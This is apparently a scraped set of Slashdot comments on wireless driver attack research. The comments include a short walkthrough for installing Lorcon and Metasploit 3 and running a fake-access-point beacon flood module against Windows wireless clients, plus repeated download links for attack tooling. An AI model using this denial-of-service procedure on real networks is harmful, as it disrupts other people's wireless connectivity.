Slashdot Mirror

Install the latest Lorcon snapshot:
$ http://www.802.11mercenary.net/lorcon/

Grab the latest version of metasploit 3:
$ svn co http://metasploit.com/svn/framework3/trunk/

Compile the Metasploit Lorcon wrapper:
$ cd trunk/external/msflorcon
$ make

Plug in a support network card (I use a WPN511 with the madwifi-old driver in Gentoo)

Load the Metasploit Console (as root, since it needs raw WiFi access)
# trunk/msfconsole

Play with some of the demo modules :-)

This is an example of sending fake beacon requests to flood the Windows Wireless Network Browser:
msf > use auxiliary/dos/wireless/fakeap
msf auxiliary(fakeap) > show options

Module options:

      CHANNEL 11 yes The default channel number
      DRIVER madwifi yes The name of the wireless driver for lorcon
      INTERFACE ath0 yes The name of the wireless interface

Type the "run" command, or use "set VARIABLE VALUE" to change these options.

msf auxiliary(fakeap) >run

Given a quick skim of the Sandia paper (and a closer read of a couple of the important sections), it looks like these Sandia group got results roughly similar to a portion of the work that Maynor and Cache presented (sorry, PPT) at BlackHat and DefCON. From what I can tell, the techniques used by Maynor and Cache were a little more ad-hoc than the Sandia group's machine-learning approach, but unless they write up their results with more depth than a Powerpoint presentation, doing a strong comparison is sort of hard. I'm amused that the teams presented their results within days of each other, but at rather different venues. (Also, I'm sad that USENIX Security overlapped DefCON this year; I've done both in years past, and they make for a good week+ of security and drinking.)

very well, i grant you that.. if you'd done more than just read the ars technica article, you'd know what i was saying isn't bollocks.
More information on the demonstrators can be found here and here. Apologies for the Amazon link, but David is a hard man to pin down and i'm busy. ;)

lorcon info: http://www.802.11mercenary.net/lorcon/
lorcon d/l: http://802.11ninja.net/code/lorcon-current.tgz
airbase info: http://www.802.11mercenary.net/
airbase d/l: http://www.802.11mercenary.net/code/airbase-stable .tar.gz

code mirror: http://www.qcs-rf.com/slashdot

lorcon info: http://www.802.11mercenary.net/lorcon/
lorcon d/l: http://802.11ninja.net/code/lorcon-current.tgz
airbase info: http://www.802.11mercenary.net/
airbase d/l: http://www.802.11mercenary.net/code/airbase-stable .tar.gz

code mirror: http://www.qcs-rf.com/slashdot

lorcon info: http://www.802.11mercenary.net/lorcon/
lorcon d/l: http://802.11ninja.net/code/lorcon-current.tgz
airbase info: http://www.802.11mercenary.net/
airbase d/l: http://www.802.11mercenary.net/code/airbase-stable .tar.gz

code mirror: http://www.qcs-rf.com/slashdot

http://www.802.11mercenary.net/lorcon/ (found ala-Google)
The stuff they have there, has files with dates going back to 2003 inside the files.